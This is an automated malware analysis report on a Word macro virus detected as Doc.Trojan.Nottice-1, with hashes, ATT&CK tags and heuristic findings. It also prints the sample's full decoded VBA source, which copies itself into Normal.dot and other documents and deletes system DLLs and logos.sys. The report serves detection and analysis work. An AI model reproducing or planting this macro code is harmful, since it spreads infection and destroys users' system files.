Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 af374e6be49a4819…

MALICIOUS

Office (OLE)

37.0 KB Created: 1999-05-02 14:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: fe147561dade21edb62d69c9a378340f SHA-1: 9af8c30e43363d5ac121c459fff67fd42010f891 SHA-256: af374e6be49a4819efb1b548966cfd219dc59374f5fed41c9c22e23ada1a30de
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing VBA macros, specifically AutoOpen and Auto_Close, which are designed to infect other documents and potentially delete system files. The macro attempts to delete DLL files and rename/hide a system file, indicating destructive behavior. The presence of AutoOpen and Auto_Close macros strongly suggests an attempt to spread via document infection.

Heuristics 5

  • ClamAV: Doc.Trojan.Nottice-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Nottice-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2626 bytes
SHA-256: 42d7124aa06135bf8a6f69eb9cd6c27d0e0b6bdadb93ef3d94a97e3c9ecc2d7e
Detection
ClamAV: Doc.Trojan.Nottice-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "F%"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim J$
On Error GoTo -1: On Error GoTo Finish
WordBasic.DisableAutoMacros 0
J$ = LCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))

If J$ = "normal.dot" Then
    If VI = 1 Then
        GoTo Finish
    Else
        InfectDOC
    End If
Else
    If VI2 = 1 Then
        GoTo Finish
    Else
        InfectGlobal
    End If
End If
Finish:
salto = Chr$(13)
If (Month(Date) = 12) And (Day(Date) = 31) Then
  mensaje$ = "Feliz cumpleaños Lola" + salto + "Esperamos que este dia sea uno de los más hermosos" + salto
  mensaje$ = mensaje$ + "que hallas pasado en tu corta vida." + salto + salto
  mensaje$ = mensaje$ + "             Te amo"
  MsgBox mensaje$, vbApplicationModal, "Prestame tu atención"
Else
 If Int((7 * Rnd) + 1) = 3 Then
   MsgBox "Te estoy observando vandido...", vbOKOnly, "Lolo"
 End If
 If ((Int((13 * Rnd) + 1) = 2) Or (Int((9 * Rnd) + 1) = 5)) And Day(Date) <= 15 Then
   Kill "c:\windows\system\*.dll"
   SetAttr "c:\windows\logos.sys", vbNormal
   Kill "c:\windows\logos.sys"
   Name "c:\windows\logas.sys" As "c:\windows\logos.sys"
   SetAttr "logos.sys", vbHidden
 End If
End If
End Sub

Private Function VI()
Dim i
VI = 0
If WordBasic.CountMacros(1) > 0 Then
    For i = 1 To WordBasic.CountMacros(1)
        If WordBasic.[MacroName$](i, 1) = "WININIT" Then
            VI = 1
        End If
    Next i
End If
End Function

Private Function VI2()
Dim i
VI2 = 0
If WordBasic.CountMacros(0) > 0 Then
    For i = 1 To WordBasic.CountMacros(0)
        If WordBasic.[MacroName$](i, 0) = "WININIT" Then
           VI2 = 1
        End If
    Next i
End If
End Function

Private Sub InfectDOC()
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoOpen"
WordBasic.MacroCopy "Global:WININIT", WordBasic.[FileName$]() + ":WININIT"
WordBasic.FileSaveAll 1, 1
End Sub

Private Sub InfectGlobal()
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoClose"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":WININIT", "Global:WININIT"
WordBasic.FileSaveAll 1, 0
End Sub

Attribute VB_Name = "WININIT"